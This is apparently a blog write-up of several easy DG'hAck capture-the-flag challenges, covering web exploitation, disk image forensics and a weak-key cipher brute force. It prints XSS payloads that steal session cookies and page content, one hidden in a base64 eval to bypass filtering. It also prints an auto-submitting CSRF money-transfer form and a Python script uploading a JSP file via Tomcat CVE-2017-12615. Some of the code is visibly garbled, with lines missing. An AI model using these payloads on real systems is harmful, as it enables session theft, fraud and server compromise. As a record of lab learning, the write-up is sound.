Skip to main content

DG'hAck: Easy Challenges

Internal Support 1

Just a basic XSS. Grab the session cookies & you’re basically done:

window.onload = function() {
  var http = new XMLHttpRequest();
  var params = 'response=' + document.cookie + '&csrf_token=' + document.getElementById("csrf_token").value;
  console.log(params);'POST', document.URL, true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

You’ll get the session cookie dumped, and you’ll be able to get the flag by replacing your own cookie by the one dumped. As a result:

Hide the flag "NoUserValidationIsADangerousPractice" a little bit better

Internal Support 2

The same than Internal Support 1, but with 2 restrictions:

  • You can’t paste JS anymore;
  • There is some IP checks for sessions (You can’t re-use a cookie from another IP).

As we can’t re-use the cookie, we’ll c/p paste the front page instead:

var z=new XMLHttpRequest();'GET', '/', false);
var t=document.createElement("div");
t.innerHTML = z.responseText;'POST',document.URL,true);
z.send('response='+btoa(t.textContent.replace(/\s\s+/g,' '))+'&csrf_token='+document.getElementById("csrf_token").value);

To bypass the javascript filter, I’ll use the following html:

<body onload="eval(atob('dmFyIHo9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cnoub3BlbignR0VUJywgJy8nLCBmYWxzZSk7Cnouc2VuZChudWxsKTsKdmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7CnQuaW5uZXJIVE1MID0gei5yZXNwb25zZVRleHQ7Cnoub3BlbignUE9TVCcsZG9jdW1lbnQuVVJMLHRydWUpOwp6LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtdHlwZScsJ2FwcGxpY2F0aW9uL3gtd

And you’ll get the flag:

Hide the flag "BEtter_BUT_ST!LL_N0tttttttttt++Prfct!" a little bit better


Another webapp. In it, a form to send money (but you don’t get any), an a contact form. By studying the contact form, you can send a link to the advisor browser. You just need to send a form with some auto-submit (there is no CSRF protection):

<body onload="javascript:document.forms[0].submit()">
<form method="POST" action="" id="form" name="form">
  <input type="hidden" id="account" name="account" value="9yDbRkzeg">
  <input type="hidden" id="amount" name="amount" value="1000">
  <button type="submit" id="reg-submit">Send</button>

You’ll get 1000€, you can buy the flag: W1nG4rD1um\L3v1os444!.

Server Room

In this one, you’ve got a somewhat big image file, called found_in_server_room.img.gz. No surprise, it is a disk dump:

# file found_in_server_room.img 
found_in_server_room.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x40,0,1), end-CHS (0x3ff,3,32), startsector 8192, 524288 sectors; partition 2 : ID=0x83, start-CHS (0x3ff,3,32), end-CHS (0x3ff,3,32), startsector 532480, 3072000 sectors

# fdisk -l found_in_server_room.img 
Disk found_in_server_room.img: 1.72 GiB, 1845493248 bytes, 3604479 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x907af7d0

Device                    Boot  Start     End Sectors  Size Id Type
found_in_server_room.img1        8192  532479  524288  256M  c W95 FAT32 (LBA)
found_in_server_room.img2      532480 3604479 3072000  1.5G 83 Linux

Trying to mount it will fail:

# losetup -a /dev/loop0 found_in_server_room.img

# dmesg | tail -3
[269041.763511] blk_update_request: I/O error, dev loop0, sector 0 op 0x1:(WRITE) flags 0x800 phys_seg 0 prio class 0
[269041.763715] blk_update_request: I/O error, dev loop0, sector 0 op 0x1:(WRITE) flags 0x800 phys_seg 0 prio class 0
[269047.631585] EXT4-fs (loop0): bad geometry: block count 384000 exceeds size of device (383999 blocks)

Fixing it:

# ll found_in_server_room.img 
-rw-r--r--. 1 mycroft mycroft 1845493248 Nov 30 21:03 found_in_server_room.img

# truncate --size=$((1845493248 + 4096)) found_in_server_room.img 
# ll found_in_server_room.img 
-rw-r--r--. 1 mycroft mycroft 1845497344 Nov 30 21:05 found_in_server_room.img

# losetup -o $((532480 * 512)) loop0 found_in_server_room.img
# mount /dev/loop0 /mnt

Once mounted, let’s take a look at the logs. Nothing much interesting but:

Aug 27 14:31:21 backpack systemd[1]: Started Update UTMP about System Runlevel Changes.
Aug 27 14:31:21 backpack systemd[1]: Startup finished in 3.262s (kernel) + 18.875s (userspace) = 22.138s.
Aug 27 14:31:24 backpack dhcpcd[563]: eth0: no IPv6 Routers available
Aug 27 14:31:26 backpack dhcpcd[563]: wlan0: using static address
Aug 27 14:31:26 backpack avahi-daemon[367]: Joining mDNS multicast group on interface wlan0.IPv4 with address
Aug 27 14:31:26 backpack avahi-daemon[367]: New relevant interface wlan0.IPv4 for mDNS.
Aug 27 14:31:26 backpack avahi-daemon[367]: Registering new address record for on wlan0.IPv4.
Aug 27 14:31:26 backpack dhcpcd[563]: wlan0: adding route to
Aug 27 14:31:35 backpack dhcpcd[563]: wlan0: no IPv6 Routers available
Aug 27 14:31:36 backpack systemd[1]: systemd-fsckd.service: Succeeded.
Aug 27 14:31:48 backpack systemd-timesyncd[305]: Synchronized to time server for the first time (
Aug 27 14:31:53 backpack systemd[1]: systemd-hostnamed.service: Succeeded.
Aug 27 14:32:04 backpack hostapd: wlan0: STA 02:6c:0d:3b:04:17 IEEE 802.11: associated
Aug 27 14:32:04 backpack hostapd: wlan0: STA 02:6c:0d:3b:04:17 RADIUS: starting accounting session 1884F975E5BEC4AD
Aug 27 14:32:04 backpack hostapd: wlan0: STA 02:6c:0d:3b:04:17 WPA: pairwise key handshake completed (RSN)

On start, the system will launch the hostapd daemon, to create an AP. Let’s take a look at its configuration:

# cat etc/hostapd/hostapd.conf 

And we got our flag: BackpackBackdoorNet.

Walter’s blog

This new website is different from first websites. Searching for hidden page will render a 404 page, and we will get the server’s version: Apache Tomcat/9.0.0.M1. A quick CVE search will bring up to attention the CVE-2017-12615 which allow uploading .jsp files. Let’s give it a try:

#!/usr/bin/env python

import requests

url = ''

content = """<%@ page import="*"%>
FileInputStream in;
byte[] data = new byte[1024];

try {
  BufferedReader br = new BufferedReader(new FileReader("/flag.txt"));
  String st;

  while ((st = br.readLine()) != null) {

} catch (IOException e){
  out.println("unable to open file");


req = requests.put(url + '/', data=content)

req = requests.get(url)

This will … output the flag: flag{i4lW4y5UpD4T3Y0urt0mC@}.

Involucrypt 1

For the last easy challenge, we’re facing some cryptography. We have 2 files: A python script used to encrypt, and an encrypted file. The encrypted file is just 370 bytes.

By reading the python script, we quickly find that it is encrypting 150 bytes blocks using a single char of the key for each block.

... snip ...

BLOCK = 150

... snip ...

def keystream(seeds, length, base=None):
    key = base if base else []
    for seed in seeds:
        random = mersenne_rng(seed)

        for _ in range(BLOCK):
            if len(key) == length:
            key.append(random.get_rand_int(0, 255))
        if len(key) == length:
    return key

Based on this only observation, we can quickly conclude that the encryption key is only 3 letters… and it will take a few seconds with pypy to bruteforce it. Password is ane, and the flag:

$ cat involucrypt1 | pypy ane
The flag is: TheKeyIsTooDamnWeak!

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure
dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.

What did I learn ?

That Tomcat vulnerability was fun! I loved the realism of the challenges. I’ll be honest: That was my first XSS ever as well.